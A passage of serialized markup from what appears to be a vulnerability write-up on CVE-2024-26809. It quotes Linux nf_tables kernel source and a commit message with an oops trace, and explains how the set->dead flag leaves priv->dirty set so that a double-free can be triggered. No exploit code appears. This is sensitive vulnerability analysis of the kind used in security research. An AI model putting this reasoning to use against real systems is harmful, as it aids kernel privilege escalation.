nf_tables_commit_release",{"type":24,"tag":158,"props":54120,"children":54121},{"style":188},[54122],{"type":29,"value":54123},"(net);\n",{"type":24,"tag":158,"props":54125,"children":54126},{"class":160,"line":5485},[54127],{"type":24,"tag":158,"props":54128,"children":54129},{"emptyLinePlaceholder":16},[54130],{"type":29,"value":481},{"type":24,"tag":158,"props":54132,"children":54133},{"class":160,"line":5493},[54134,54139,54143],{"type":24,"tag":158,"props":54135,"children":54136},{"style":1914},[54137],{"type":29,"value":54138}," return",{"type":24,"tag":158,"props":54140,"children":54141},{"style":465},[54142],{"type":29,"value":2025},{"type":24,"tag":158,"props":54144,"children":54145},{"style":188},[54146],{"type":29,"value":473},{"type":24,"tag":158,"props":54148,"children":54149},{"class":160,"line":5553},[54150],{"type":24,"tag":158,"props":54151,"children":54152},{"style":188},[54153],{"type":29,"value":307},{"type":24,"tag":25,"props":54155,"children":54156},{},[54157,54158,54164,54166,54171],{"type":29,"value":17850},{"type":24,"tag":154,"props":54159,"children":54161},{"className":54160},[],[54162],{"type":29,"value":54163},"nft_set_commit_update()",{"type":29,"value":54165}," function in the code above will call the ",{"type":24,"tag":154,"props":54167,"children":54169},{"className":54168},[],[54170],{"type":29,"value":53617},{"type":29,"value":54172}," method for any objects that were marked as pending an update.",{"type":24,"tag":147,"props":54174,"children":54176},{"className":17751,"code":54175,"language":2907,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n list_del_init(&set->pending_update);\n\n if (!set->ops->commit || set->dead) // [4]\n continue;\n\n set->ops->commit(set); // [5]\n }\n}\n",[54177],{"type":24,"tag":154,"props":54178,"children":54179},{"__ignoreMap":7},[54180,54220,54227,54256,54263,54276,54308,54315,54376,54387,54394,54428,54435],{"type":24,"tag":158,"props":54181,"children":54182},{"class":160,"line":161},[54183,54187,54191,54195,54199,54203,54208,54212,54216],{"type":24,"tag":158,"props":54184,"children":54185},{"style":165},[54186],{"type":29,"value":52316},{"type":24,"tag":158,"props":54188,"children":54189},{"style":165},[54190],{"type":29,"value":52321},{"type":24,"tag":158,"props":54192,"children":54193},{"style":496},[54194],{"type":29,"value":54086},{"type":24,"tag":158,"props":54196,"children":54197},{"style":188},[54198],{"type":29,"value":504},{"type":24,"tag":158,"props":54200,"children":54201},{"style":165},[54202],{"type":29,"value":168},{"type":24,"tag":158,"props":54204,"children":54205},{"style":188},[54206],{"type":29,"value":54207}," list_head ",{"type":24,"tag":158,"props":54209,"children":54210},{"style":222},[54211],{"type":29,"value":577},{"type":24,"tag":158,"props":54213,"children":54214},{"style":177},[54215],{"type":29,"value":54099},{"type":24,"tag":158,"props":54217,"children":54218},{"style":188},[54219],{"type":29,"value":2125},{"type":24,"tag":158,"props":54221,"children":54222},{"class":160,"line":213},[54223],{"type":24,"tag":158,"props":54224,"children":54225},{"style":188},[54226],{"type":29,"value":1710},{"type":24,"tag":158,"props":54228,"children":54229},{"class":160,"line":238},[54230,54234,54238,54242,54247,54251],{"type":24,"tag":158,"props":54231,"children":54232},{"style":165},[54233],{"type":29,"value":22395},{"type":24,"tag":158,"props":54235,"children":54236},{"style":188},[54237],{"type":29,"value":52371},{"type":24,"tag":158,"props":54239,"children":54240},{"style":222},[54241],{"type":29,"value":577},{"type":24,"tag":158,"props":54243,"children":54244},{"style":188},[54245],{"type":29,"value":54246},"set, ",{"type":24,"tag":158,"props":54248,"children":54249},{"style":222},[54250],{"type":29,"value":577},{"type":24,"tag":158,"props":54252,"children":54253},{"style":188},[54254],{"type":29,"value":54255},"next;\n",{"type":24,"tag":158,"props":54257,"children":54258},{"class":160,"line":259},[54259],{"type":24,"tag":158,"props":54260,"children":54261},{"emptyLinePlaceholder":16},[54262],{"type":29,"value":481},{"type":24,"tag":158,"props":54264,"children":54265},{"class":160,"line":280},[54266,54271],{"type":24,"tag":158,"props":54267,"children":54268},{"style":496},[54269],{"type":29,"value":54270}," list_for_each_entry_safe",{"type":24,"tag":158,"props":54272,"children":54273},{"style":188},[54274],{"type":29,"value":54275},"(set, next, set_update_list, pending_update) {\n",{"type":24,"tag":158,"props":54277,"children":54278},{"class":160,"line":301},[54279,54284,54288,54292,54296,54300,54304],{"type":24,"tag":158,"props":54280,"children":54281},{"style":496},[54282],{"type":29,"value":54283}," list_del_init",{"type":24,"tag":158,"props":54285,"children":54286},{"style":188},[54287],{"type":29,"value":504},{"type":24,"tag":158,"props":54289,"children":54290},{"style":222},[54291],{"type":29,"value":2212},{"type":24,"tag":158,"props":54293,"children":54294},{"style":177},[54295],{"type":29,"value":52291},{"type":24,"tag":158,"props":54297,"children":54298},{"style":188},[54299],{"type":29,"value":14991},{"type":24,"tag":158,"props":54301,"children":54302},{"style":177},[54303],{"type":29,"value":53993},{"type":24,"tag":158,"props":54305,"children":54306},{"style":188},[54307],{"type":29,"value":1071},{"type":24,"tag":158,"props":54309,"children":54310},{"class":160,"line":626},[54311],{"type":24,"tag":158,"props":54312,"children":54313},{"emptyLinePlaceholder":16},[54314],{"type":29,"value":481},{"type":24,"tag":158,"props":54316,"children":54317},{"class":160,"line":668},[54318,54322,54326,54330,54334,54338,54342,54346,54350,54354,54359,54363,54367,54371],{"type":24,"tag":158,"props":54319,"children":54320},{"style":1914},[54321],{"type":29,"value":32655},{"type":24,"tag":158,"props":54323,"children":54324},{"style":188},[54325],{"type":29,"value":2262},{"type":24,"tag":158,"props":54327,"children":54328},{"style":222},[54329],{"type":29,"value":21865},{"type":24,"tag":158,"props":54331,"children":54332},{"style":177},[54333],{"type":29,"value":52291},{"type":24,"tag":158,"props":54335,"children":54336},{"style":188},[54337],{"type":29,"value":14991},{"type":24,"tag":158,"props":54339,"children":54340},{"style":177},[54341],{"type":29,"value":53942},{"type":24,"tag":158,"props":54343,"children":54344},{"style":188},[54345],{"type":29,"value":14991},{"type":24,"tag":158,"props":54347,"children":54348},{"style":177},[54349],{"type":29,"value":53951},{"type":24,"tag":158,"props":54351,"children":54352},{"style":222},[54353],{"type":29,"value":24953},{"type":24,"tag":158,"props":54355,"children":54356},{"style":177},[54357],{"type":29,"value":54358}," set",{"type":24,"tag":158,"props":54360,"children":54361},{"style":188},[54362],{"type":29,"value":14991},{"type":24,"tag":158,"props":54364,"children":54365},{"style":177},[54366],{"type":29,"value":53761},{"type":24,"tag":158,"props":54368,"children":54369},{"style":188},[54370],{"type":29,"value":521},{"type":24,"tag":158,"props":54372,"children":54373},{"style":2588},[54374],{"type":29,"value":54375}," // [4]\n",{"type":24,"tag":158,"props":54377,"children":54378},{"class":160,"line":676},[54379,54383],{"type":24,"tag":158,"props":54380,"children":54381},{"style":1914},[54382],{"type":29,"value":52763},{"type":24,"tag":158,"props":54384,"children":54385},{"style":188},[54386],{"type":29,"value":473},{"type":24,"tag":158,"props":54388,"children":54389},{"class":160,"line":684},[54390],{"type":24,"tag":158,"props":54391,"children":54392},{"emptyLinePlaceholder":16},[54393],{"type":29,"value":481},{"type":24,"tag":158,"props":54395,"children":54396},{"class":160,"line":700},[54397,54402,54406,54410,54414,54418,54423],{"type":24,"tag":158,"props":54398,"children":54399},{"style":177},[54400],{"type":29,"value":54401}," set",{"type":24,"tag":158,"props":54403,"children":54404},{"style":188},[54405],{"type":29,"value":14991},{"type":24,"tag":158,"props":54407,"children":54408},{"style":177},[54409],{"type":29,"value":53942},{"type":24,"tag":158,"props":54411,"children":54412},{"style":188},[54413],{"type":29,"value":14991},{"type":24,"tag":158,"props":54415,"children":54416},{"style":496},[54417],{"type":29,"value":53951},{"type":24,"tag":158,"props":54419,"children":54420},{"style":188},[54421],{"type":29,"value":54422},"(set);",{"type":24,"tag":158,"props":54424,"children":54425},{"style":2588},[54426],{"type":29,"value":54427}," // [5]\n",{"type":24,"tag":158,"props":54429,"children":54430},{"class":160,"line":785},[54431],{"type":24,"tag":158,"props":54432,"children":54433},{"style":188},[54434],{"type":29,"value":382},{"type":24,"tag":158,"props":54436,"children":54437},{"class":160,"line":1447},[54438],{"type":24,"tag":158,"props":54439,"children":54440},{"style":188},[54441],{"type":29,"value":307},{"type":24,"tag":25,"props":54443,"children":54444},{},[54445,54447,54453,54455,54460,54461,54466],{"type":29,"value":54446},"Later on, the ",{"type":24,"tag":154,"props":54448,"children":54450},{"className":54449},[],[54451],{"type":29,"value":54452},"nf_tables_commit_release()",{"type":29,"value":54454}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":24,"tag":154,"props":54456,"children":54458},{"className":54457},[],[54459],{"type":29,"value":52291},{"type":29,"value":53611},{"type":24,"tag":154,"props":54462,"children":54464},{"className":54463},[],[54465],{"type":29,"value":53625},{"type":29,"value":54467}," method.",{"type":24,"tag":147,"props":54469,"children":54471},{"className":17751,"code":54470,"language":2907,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n nft_trans_list_del(trans);\n nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[54472],{"type":24,"tag":154,"props":54473,"children":54474},{"__ignoreMap":7},[54475,54514,54521,54528,54549,54556,54563,54570,54611,54618,54625,54646,54659,54671,54678,54685,54692,54733,54740,54768,54775,54788,54800,54841,54848,54855,54862,54920,54927,54934,54963,54970],{"type":24,"tag":158,"props":54476,"children":54477},{"class":160,"line":161},[54478,54482,54486,54490,54494,54498,54502,54506,54510],{"type":24,"tag":158,"props":54479,"children":54480},{"style":165},[54481],{"type":29,"value":52316},{"type":24,"tag":158,"props":54483,"children":54484},{"style":165},[54485],{"type":29,"value":52321},{"type":24,"tag":158,"props":54487,"children":54488},{"style":496},[54489],{"type":29,"value":54118},{"type":24,"tag":158,"props":54491,"children":54492},{"style":188},[54493],{"type":29,"value":504},{"type":24,"tag":158,"props":54495,"children":54496},{"style":165},[54497],{"type":29,"value":168},{"type":24,"tag":158,"props":54499,"children":54500},{"style":188},[54501],{"type":29,"value":53274},{"type":24,"tag":158,"props":54503,"children":54504},{"style":222},[54505],{"type":29,"value":577},{"type":24,"tag":158,"props":54507,"children":54508},{"style":177},[54509],{"type":29,"value":53283},{"type":24,"tag":158,"props":54511,"children":54512},{"style":188},[54513],{"type":29,"value":2125},{"type":24,"tag":158,"props":54515,"children":54516},{"class":160,"line":213},[54517],{"type":24,"tag":158,"props":54518,"children":54519},{"style":188},[54520],{"type":29,"value":1710},{"type":24,"tag":158,"props":54522,"children":54523},{"class":160,"line":238},[54524],{"type":24,"tag":158,"props":54525,"children":54526},{"style":188},[54527],{"type":29,"value":1136},{"type":24,"tag":158,"props":54529,"children":54530},{"class":160,"line":259},[54531,54536,54540,54544],{"type":24,"tag":158,"props":54532,"children":54533},{"style":496},[54534],{"type":29,"value":54535}," schedule_work",{"type":24,"tag":158,"props":54537,"children":54538},{"style":188},[54539],{"type":29,"value":504},{"type":24,"tag":158,"props":54541,"children":54542},{"style":222},[54543],{"type":29,"value":2212},{"type":24,"tag":158,"props":54545,"children":54546},{"style":188},[54547],{"type":29,"value":54548},"trans_destroy_work);\n",{"type":24,"tag":158,"props":54550,"children":54551},{"class":160,"line":280},[54552],{"type":24,"tag":158,"props":54553,"children":54554},{"style":188},[54555],{"type":29,"value":1136},{"type":24,"tag":158,"props":54557,"children":54558},{"class":160,"line":301},[54559],{"type":24,"tag":158,"props":54560,"children":54561},{"style":188},[54562],{"type":29,"value":307},{"type":24,"tag":158,"props":54564,"children":54565},{"class":160,"line":626},[54566],{"type":24,"tag":158,"props":54567,"children":54568},{"style":188},[54569],{"type":29,"value":1136},{"type":24,"tag":158,"props":54571,"children":54572},{"class":160,"line":668},[54573,54577,54581,54586,54590,54594,54599,54603,54607],{"type":24,"tag":158,"props":54574,"children":54575},{"style":165},[54576],{"type":29,"value":52316},{"type":24,"tag":158,"props":54578,"children":54579},{"style":165},[54580],{"type":29,"value":52321},{"type":24,"tag":158,"props":54582,"children":54583},{"style":496},[54584],{"type":29,"value":54585}," nf_tables_trans_destroy_work",{"type":24,"tag":158,"props":54587,"children":54588},{"style":188},[54589],{"type":29,"value":504},{"type":24,"tag":158,"props":54591,"children":54592},{"style":165},[54593],{"type":29,"value":168},{"type":24,"tag":158,"props":54595,"children":54596},{"style":188},[54597],{"type":29,"value":54598}," work_struct ",{"type":24,"tag":158,"props":54600,"children":54601},{"style":222},[54602],{"type":29,"value":577},{"type":24,"tag":158,"props":54604,"children":54605},{"style":177},[54606],{"type":29,"value":50843},{"type":24,"tag":158,"props":54608,"children":54609},{"style":188},[54610],{"type":29,"value":2125},{"type":24,"tag":158,"props":54612,"children":54613},{"class":160,"line":676},[54614],{"type":24,"tag":158,"props":54615,"children":54616},{"style":188},[54617],{"type":29,"value":1710},{"type":24,"tag":158,"props":54619,"children":54620},{"class":160,"line":684},[54621],{"type":24,"tag":158,"props":54622,"children":54623},{"style":188},[54624],{"type":29,"value":1136},{"type":24,"tag":158,"props":54626,"children":54627},{"class":160,"line":700},[54628,54632,54637,54641],{"type":24,"tag":158,"props":54629,"children":54630},{"style":496},[54631],{"type":29,"value":54270},{"type":24,"tag":158,"props":54633,"children":54634},{"style":188},[54635],{"type":29,"value":54636},"(trans, next, ",{"type":24,"tag":158,"props":54638,"children":54639},{"style":222},[54640],{"type":29,"value":2212},{"type":24,"tag":158,"props":54642,"children":54643},{"style":188},[54644],{"type":29,"value":54645},"head, list) {\n",{"type":24,"tag":158,"props":54647,"children":54648},{"class":160,"line":785},[54649,54654],{"type":24,"tag":158,"props":54650,"children":54651},{"style":496},[54652],{"type":29,"value":54653}," nft_trans_list_del",{"type":24,"tag":158,"props":54655,"children":54656},{"style":188},[54657],{"type":29,"value":54658},"(trans);\n",{"type":24,"tag":158,"props":54660,"children":54661},{"class":160,"line":1447},[54662,54667],{"type":24,"tag":158,"props":54663,"children":54664},{"style":496},[54665],{"type":29,"value":54666}," nft_commit_release",{"type":24,"tag":158,"props":54668,"children":54669},{"style":188},[54670],{"type":29,"value":54658},{"type":24,"tag":158,"props":54672,"children":54673},{"class":160,"line":1509},[54674],{"type":24,"tag":158,"props":54675,"children":54676},{"style":188},[54677],{"type":29,"value":382},{"type":24,"tag":158,"props":54679,"children":54680},{"class":160,"line":1527},[54681],{"type":24,"tag":158,"props":54682,"children":54683},{"style":188},[54684],{"type":29,"value":307},{"type":24,"tag":158,"props":54686,"children":54687},{"class":160,"line":1545},[54688],{"type":24,"tag":158,"props":54689,"children":54690},{"style":188},[54691],{"type":29,"value":1136},{"type":24,"tag":158,"props":54693,"children":54694},{"class":160,"line":1618},[54695,54699,54703,54708,54712,54716,54721,54725,54729],{"type":24,"tag":158,"props":54696,"children":54697},{"style":165},[54698],{"type":29,"value":52316},{"type":24,"tag":158,"props":54700,"children":54701},{"style":165},[54702],{"type":29,"value":52321},{"type":24,"tag":158,"props":54704,"children":54705},{"style":496},[54706],{"type":29,"value":54707}," nft_commit_release",{"type":24,"tag":158,"props":54709,"children":54710},{"style":188},[54711],{"type":29,"value":504},{"type":24,"tag":158,"props":54713,"children":54714},{"style":165},[54715],{"type":29,"value":168},{"type":24,"tag":158,"props":54717,"children":54718},{"style":188},[54719],{"type":29,"value":54720}," nft_trans ",{"type":24,"tag":158,"props":54722,"children":54723},{"style":222},[54724],{"type":29,"value":577},{"type":24,"tag":158,"props":54726,"children":54727},{"style":177},[54728],{"type":29,"value":53833},{"type":24,"tag":158,"props":54730,"children":54731},{"style":188},[54732],{"type":29,"value":2125},{"type":24,"tag":158,"props":54734,"children":54735},{"class":160,"line":1635},[54736],{"type":24,"tag":158,"props":54737,"children":54738},{"style":188},[54739],{"type":29,"value":1710},{"type":24,"tag":158,"props":54741,"children":54742},{"class":160,"line":1644},[54743,54748,54752,54756,54760,54764],{"type":24,"tag":158,"props":54744,"children":54745},{"style":1914},[54746],{"type":29,"value":54747}," switch",{"type":24,"tag":158,"props":54749,"children":54750},{"style":188},[54751],{"type":29,"value":2262},{"type":24,"tag":158,"props":54753,"children":54754},{"style":177},[54755],{"type":29,"value":53833},{"type":24,"tag":158,"props":54757,"children":54758},{"style":188},[54759],{"type":29,"value":14991},{"type":24,"tag":158,"props":54761,"children":54762},{"style":177},[54763],{"type":29,"value":53871},{"type":24,"tag":158,"props":54765,"children":54766},{"style":188},[54767],{"type":29,"value":16038},{"type":24,"tag":158,"props":54769,"children":54770},{"class":160,"line":1652},[54771],{"type":24,"tag":158,"props":54772,"children":54773},{"style":188},[54774],{"type":29,"value":1136},{"type":24,"tag":158,"props":54776,"children":54777},{"class":160,"line":1704},[54778,54783],{"type":24,"tag":158,"props":54779,"children":54780},{"style":1914},[54781],{"type":29,"value":54782}," case",{"type":24,"tag":158,"props":54784,"children":54785},{"style":188},[54786],{"type":29,"value":54787}," NFT_MSG_DELSET:\n",{"type":24,"tag":158,"props":54789,"children":54790},{"class":160,"line":1713},[54791,54795],{"type":24,"tag":158,"props":54792,"children":54793},{"style":1914},[54794],{"type":29,"value":54782},{"type":24,"tag":158,"props":54796,"children":54797},{"style":188},[54798],{"type":29,"value":54799}," NFT_MSG_DESTROYSET:\n",{"type":24,"tag":158,"props":54801,"children":54802},{"class":160,"line":1731},[54803,54808,54812,54816,54820,54824,54828,54832,54836],{"type":24,"tag":158,"props":54804,"children":54805},{"style":496},[54806],{"type":29,"value":54807}," nft_set_destroy",{"type":24,"tag":158,"props":54809,"children":54810},{"style":188},[54811],{"type":29,"value":504},{"type":24,"tag":158,"props":54813,"children":54814},{"style":222},[54815],{"type":29,"value":2212},{"type":24,"tag":158,"props":54817,"children":54818},{"style":188},[54819],{"type":29,"value":53833},{"type":24,"tag":158,"props":54821,"children":54822},{"style":222},[54823],{"type":29,"value":14991},{"type":24,"tag":158,"props":54825,"children":54826},{"style":177},[54827],{"type":29,"value":21524},{"type":24,"tag":158,"props":54829,"children":54830},{"style":188},[54831],{"type":29,"value":191},{"type":24,"tag":158,"props":54833,"children":54834},{"style":496},[54835],{"type":29,"value":53799},{"type":24,"tag":158,"props":54837,"children":54838},{"style":188},[54839],{"type":29,"value":54840},"(trans));\n",{"type":24,"tag":158,"props":54842,"children":54843},{"class":160,"line":5485},[54844],{"type":24,"tag":158,"props":54845,"children":54846},{"style":188},[54847],{"type":29,"value":1136},{"type":24,"tag":158,"props":54849,"children":54850},{"class":160,"line":5493},[54851],{"type":24,"tag":158,"props":54852,"children":54853},{"style":188},[54854],{"type":29,"value":307},{"type":24,"tag":158,"props":54856,"children":54857},{"class":160,"line":5553},[54858],{"type":24,"tag":158,"props":54859,"children":54860},{"style":188},[54861],{"type":29,"value":1136},{"type":24,"tag":158,"props":54863,"children":54864},{"class":160,"line":10636},[54865,54869,54873,54878,54882,54886,54890,54894,54898,54903,54907,54911,54915],{"type":24,"tag":158,"props":54866,"children":54867},{"style":165},[54868],{"type":29,"value":52316},{"type":24,"tag":158,"props":54870,"children":54871},{"style":165},[54872],{"type":29,"value":52321},{"type":24,"tag":158,"props":54874,"children":54875},{"style":496},[54876],{"type":29,"value":54877}," nft_set_destroy",{"type":24,"tag":158,"props":54879,"children":54880},{"style":188},[54881],{"type":29,"value":504},{"type":24,"tag":158,"props":54883,"children":54884},{"style":165},[54885],{"type":29,"value":443},{"type":24,"tag":158,"props":54887,"children":54888},{"style":165},[54889],{"type":29,"value":22395},{"type":24,"tag":158,"props":54891,"children":54892},{"style":188},[54893],{"type":29,"value":52343},{"type":24,"tag":158,"props":54895,"children":54896},{"style":222},[54897],{"type":29,"value":577},{"type":24,"tag":158,"props":54899,"children":54900},{"style":188},[54901],{"type":29,"value":54902},"ctx, ",{"type":24,"tag":158,"props":54904,"children":54905},{"style":165},[54906],{"type":29,"value":168},{"type":24,"tag":158,"props":54908,"children":54909},{"style":188},[54910],{"type":29,"value":52371},{"type":24,"tag":158,"props":54912,"children":54913},{"style":222},[54914],{"type":29,"value":577},{"type":24,"tag":158,"props":54916,"children":54917},{"style":188},[54918],{"type":29,"value":54919},"set)\n",{"type":24,"tag":158,"props":54921,"children":54922},{"class":160,"line":10652},[54923],{"type":24,"tag":158,"props":54924,"children":54925},{"style":188},[54926],{"type":29,"value":1710},{"type":24,"tag":158,"props":54928,"children":54929},{"class":160,"line":10696},[54930],{"type":24,"tag":158,"props":54931,"children":54932},{"style":188},[54933],{"type":29,"value":1136},{"type":24,"tag":158,"props":54935,"children":54936},{"class":160,"line":10801},[54937,54941,54945,54949,54953,54958],{"type":24,"tag":158,"props":54938,"children":54939},{"style":177},[54940],{"type":29,"value":54358},{"type":24,"tag":158,"props":54942,"children":54943},{"style":188},[54944],{"type":29,"value":14991},{"type":24,"tag":158,"props":54946,"children":54947},{"style":177},[54948],{"type":29,"value":53942},{"type":24,"tag":158,"props":54950,"children":54951},{"style":188},[54952],{"type":29,"value":14991},{"type":24,"tag":158,"props":54954,"children":54955},{"style":496},[54956],{"type":29,"value":54957},"destroy",{"type":24,"tag":158,"props":54959,"children":54960},{"style":188},[54961],{"type":29,"value":54962},"(ctx, set);\n",{"type":24,"tag":158,"props":54964,"children":54965},{"class":160,"line":24754},[54966],{"type":24,"tag":158,"props":54967,"children":54968},{"style":188},[54969],{"type":29,"value":1136},{"type":24,"tag":158,"props":54971,"children":54972},{"class":160,"line":24789},[54973],{"type":24,"tag":158,"props":54974,"children":54975},{"style":188},[54976],{"type":29,"value":307},{"type":24,"tag":25,"props":54978,"children":54979},{},[54980,54982,54987,54989,54994,54996,55002,55004,55009,55011,55016,55018,55022,55024,55029,55030,55034,55036,55042],{"type":29,"value":54981},"It may appear as if it would be impossible to make ",{"type":24,"tag":154,"props":54983,"children":54985},{"className":54984},[],[54986],{"type":29,"value":52245},{"type":29,"value":54988}," true in the release step because the ",{"type":24,"tag":154,"props":54990,"children":54992},{"className":54991},[],[54993],{"type":29,"value":53617},{"type":29,"value":54995}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":24,"tag":154,"props":54997,"children":54999},{"className":54998},[],[55000],{"type":29,"value":55001},"set->dead",{"type":29,"value":55003}," flag. If a ",{"type":24,"tag":154,"props":55005,"children":55007},{"className":55006},[],[55008],{"type":29,"value":52291},{"type":29,"value":55010}," was marked for deletion, it receives the ",{"type":24,"tag":154,"props":55012,"children":55014},{"className":55013},[],[55015],{"type":29,"value":55001},{"type":29,"value":55017}," flag ",{"type":24,"tag":158,"props":55019,"children":55020},{},[55021],{"type":29,"value":4789},{"type":29,"value":55023},". If this flag is set, then the commit path will skip any commitments to this ",{"type":24,"tag":154,"props":55025,"children":55027},{"className":55026},[],[55028],{"type":29,"value":52291},{"type":29,"value":8106},{"type":24,"tag":158,"props":55031,"children":55032},{},[55033],{"type":29,"value":18767},{"type":29,"value":55035},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":24,"tag":154,"props":55037,"children":55039},{"className":55038},[],[55040],{"type":29,"value":55041},"priv ->dirty",{"type":29,"value":55043}," flag is not cleared when it should have been.",{"type":24,"tag":59,"props":55045,"children":55047},{"id":55046},"tracing-the-guilty-commit",[55048],{"type":29,"value":55049},"Tracing the guilty commit",{"type":24,"tag":25,"props":55051,"children":55052},{},[55053,55055,55062,55064,55070,55072,55077,55079,55085],{"type":29,"value":55054},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":24,"tag":101,"props":55056,"children":55059},{"href":55057,"rel":55058},"https://ubuntu.com/security/CVE-2024-26809",[105],[55060],{"type":29,"value":55061},"advisories",{"type":29,"value":55063}," about this vulnerability will say it was introduced by this ",{"type":24,"tag":101,"props":55065,"children":55068},{"href":55066,"rel":55067},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[105],[55069],{"type":29,"value":53951},{"type":29,"value":55071},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":24,"tag":154,"props":55073,"children":55075},{"className":55074},[],[55076],{"type":29,"value":55001},{"type":29,"value":55078}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":24,"tag":101,"props":55080,"children":55083},{"href":55081,"rel":55082},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[105],[55084],{"type":29,"value":53951},{"type":29,"value":347},{"type":24,"tag":25,"props":55087,"children":55088},{},[55089],{"type":29,"value":55090},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":24,"tag":147,"props":55092,"children":55096},{"className":55093,"code":55094,"language":55095,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919] \u003CTASK>\n[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952] ? __nla_validate_parse+0x48/0x190\n[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963] netlink_unicast+0x211/0x340\n[16302.231969] netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[55097],{"type":24,"tag":154,"props":55098,"children":55099},{"__ignoreMap":7},[55100,55108,55116,55123,55131,55139,55146,55154,55161,55169,55177,55184,55192,55200,55208,55216,55224,55232,55240,55248,55256,55263,55271,55279,55286,55294,55302,55310,55318,55326,55333,55341,55349],{"type":24,"tag":158,"props":55101,"children":55102},{"class":160,"line":161},[55103],{"type":24,"tag":158,"props":55104,"children":55105},{},[55106],{"type":29,"value":55107},"New elements that reside in the clone are not released in case that the\n",{"type":24,"tag":158,"props":55109,"children":55110},{"class":160,"line":213},[55111],{"type":24,"tag":158,"props":55112,"children":55113},{},[55114],{"type":29,"value":55115},"transaction is aborted.\n",{"type":24,"tag":158,"props":55117,"children":55118},{"class":160,"line":238},[55119],{"type":24,"tag":158,"props":55120,"children":55121},{"emptyLinePlaceholder":16},[55122],{"type":29,"value":481},{"type":24,"tag":158,"props":55124,"children":55125},{"class":160,"line":259},[55126],{"type":24,"tag":158,"props":55127,"children":55128},{},[55129],{"type":29,"value":55130},"[16302.231754] ------------[ cut here ]------------\n",{"type":24,"tag":158,"props":55132,"children":55133},{"class":160,"line":280},[55134],{"type":24,"tag":158,"props":55135,"children":55136},{},[55137],{"type":29,"value":55138},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":24,"tag":158,"props":55140,"children":55141},{"class":160,"line":301},[55142],{"type":24,"tag":158,"props":55143,"children":55144},{},[55145],{"type":29,"value":1136},{"type":24,"tag":158,"props":55147,"children":55148},{"class":160,"line":626},[55149],{"type":24,"tag":158,"props":55150,"children":55151},{},[55152],{"type":29,"value":55153},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n",{"type":24,"tag":158,"props":55155,"children":55156},{"class":160,"line":668},[55157],{"type":24,"tag":158,"props":55158,"children":55159},{},[55160],{"type":29,"value":1136},{"type":24,"tag":158,"props":55162,"children":55163},{"class":160,"line":676},[55164],{"type":24,"tag":158,"props":55165,"children":55166},{},[55167],{"type":29,"value":55168},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":24,"tag":158,"props":55170,"children":55171},{"class":160,"line":684},[55172],{"type":24,"tag":158,"props":55173,"children":55174},{},[55175],{"type":29,"value":55176},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 